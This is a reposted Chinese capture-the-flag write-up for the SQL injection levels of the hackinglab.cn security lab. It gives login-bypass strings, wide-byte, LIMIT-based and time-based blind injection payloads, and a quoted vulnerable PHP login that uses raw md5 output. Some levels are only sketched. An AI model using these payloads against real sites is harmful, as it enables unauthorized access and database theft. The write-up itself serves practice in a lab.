首页 网络安全 安全学院 查看内容

网络安全实验室 注入关通关writeup

2017-3-14 21:24 |来自: 互联网 5014 0

摘要: 查看源代码,发现有参数ID。以为注入点就是ID。经过尝试,是ID的值使用了lstrip函数,只去前面开头的数字。无思路后,查看了其他人的writeup,发现是图片注入,还是第一次见到。还是宽字节注入。找到注入点,开始常 ...

URL:http://hackinglab.cn

注入关

[1] 最简单的SQL注入

username = admin' or ''='

password随便什么都可以直接可以登录

[2] 熟悉注入环境

username = admin or 1=1

password 随便什么

[3] 防注入根据响应头中返回的 charset=gb2312 ,猜测可能是一个宽字节注入,通过验证后开始正常的注入流程

注入字段长度

得到字段长度为3。

得到显示位

得到显示位是2,3

得到数据库表的信息

得到在当前数据库中仅仅存在一个表, sae_user_sqli4

得到字段信息

得到在sae_user_sqli4表中有 id,title_1,content_1 3个字段。

[4] 到底能不能回显

找到注入点,发现回显会多一个",1",并且"1"由num参数控制。并且不加num参数不提供报错,由此想到limit注入。

根据本地测试,找到注入方法

tip:如果不回显,利用方式如下:SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand,concat(0x3a,(IF(MID(version,1,1) LIKE 5, BENCHMARK(5000000,(1)),1))))),1)

[5] 邂逅神坑。查看源代码,发现有参数ID。以为注入点就是ID。经过尝试,是ID的值使用了lstrip函数,只去前面开头的数字。无思路后,查看了其他人的writeup,发现是图片注入,还是第一次见到。还是宽字节注入。找到注入点,开始常规的注入方法。

[6] ErrorBased

页面打不开

[7]

不难判断出参数username有注入。但是不管不注入正确与否的sql语句,总是返回正确的页面。不难想出基本时间的注入

' and if("1"="2",1,sleep(10))# 成功等待十秒

' and if(ascii(substr((select database),{},1))>{}).format(n.nums)成功构建payload。剩下的就是要脚本直接跑了

[8]SQL注入通用防护打不开链接

[9]据说哈希后的密码是不能产生注入的右键查看源代码

include "config.php";


if(isset($_GET['userid']) && isset($_GET['pwd'])){

    $strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'";
    
    $conn=mysql_connect($dbhost,$username,$pwd);
    mysql_select_db($db,$conn);
    $result=mysql_query($strsql);
    print_r(mysql_error);
    $row=mysql_fetch_array($result);
    mysql_close($conn);
    echo "
";
    print_r($row);
    
    echo "
"; if($row!=null){ echo "Flag: ".$flag; } } else{ echo "PLEASE LOGINT!"; } echo "
本文出处: http://www.toutiao.com/a6396621476338139394/
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部